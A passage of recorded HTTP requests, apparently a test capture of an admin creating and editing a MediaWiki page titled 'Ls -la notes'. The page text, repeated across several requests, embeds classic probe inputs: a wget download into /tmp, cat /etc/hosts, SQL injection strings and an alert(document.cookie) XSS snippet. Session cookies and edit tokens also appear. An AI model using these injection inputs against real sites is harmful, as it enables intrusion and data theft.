ight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=71840703f816e931d4dcc6d77061a3d66af2267d%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 317", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Ls_-la_notes&section=&sectiontitle=&summary=Notes+on+ls+-la%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&stashedtexthash=7b0caca38f13720bae380f2dd35a43a0fa43c9b7&token=71840703f816e931d4dcc6d77061a3d66af2267d%2B%5C"}
{"method": "POST", "target": "/index.php?title=Ls_-la_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3217", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAvdrTidZqfABYUKj", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200101\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200101\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on ls -la, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpPreview\"\r\n\r\nShow preview\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n71840703f816e931d4dcc6d77061a3d66af2267d+\\\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj--\r\n"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1720", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Ls_-la_notes&section=&sectiontitle=&summary=Notes+on+ls+-la%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=71840703f816e931d4dcc6d77061a3d66af2267d%2B%5C"}
{"method": "POST", "target": "/index.php?title=Ls_-la_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3325", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhJslavTCvR7BPWnI", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200101\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200101\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on ls -la, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpDiff\"\r\n\r\nShow changes\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n71840703f816e931d4dcc6d77061a3d66af2267d+\\\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\npreview\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI--\r\n"}
{"method": "POST", "target": "/index.php?title=Ls_-la_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3319", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZQBAD49UylBGXkuE", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200101\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200101\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on ls -la, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave page\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n71840703f816e931d4dcc6d77061a3d66af2267d+\\\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ndiff\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE--\r\n"}
{"method": "GET", "target": "/wiki/Ls_-la_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; my_wikiPostEditRevision10=created; cpPosIndex=9%401794254461%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Ls_-la_notes&action=history", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794254461%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Ls_-la_notes&action=edit&section=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794254461%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 285", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794254461%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Ls_-la_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=10&text=%3D%3D+Install+%3D%3D%0ARun+ls+-la+and+ls+-la.%0A&token=8fac1bdf706f6473175c200445103a4f6af2267e%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 293", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794254461%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Ls_-la_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+ls+-la&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=10&stashedtexthash=f07484bed3f5b98cd35dde3b0bd6cdf21f92e3a9&token=8fac1bdf706f6473175c200445103a4f6af2267e%2B%5C"}
{"method": "POST", "target": "/index.php?title=Ls_-la_notes&action=submit&section=1", "headers": ["Host: example.com", "Content-Length: 2117", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3GpLRJRpxgavKDbi", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794254461%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n1\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200102\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200101\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n10\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n0\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\n48a19bb4c5ae768038e8343fe587d531\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n10\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n== Install ==\r\nRun ls -la and ls -la.\r\n\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\n/* Install */ ls -la\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave changes\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n8fac1bdf706f6473175c200445103a4f6af2267e+\\\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundary3GpLRJRpxgavKDbi--\r\n"}
{"method": "GET", "target": "/index.php?title=Ls_-la_notes&diff=cur&oldid=prev", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": ""}
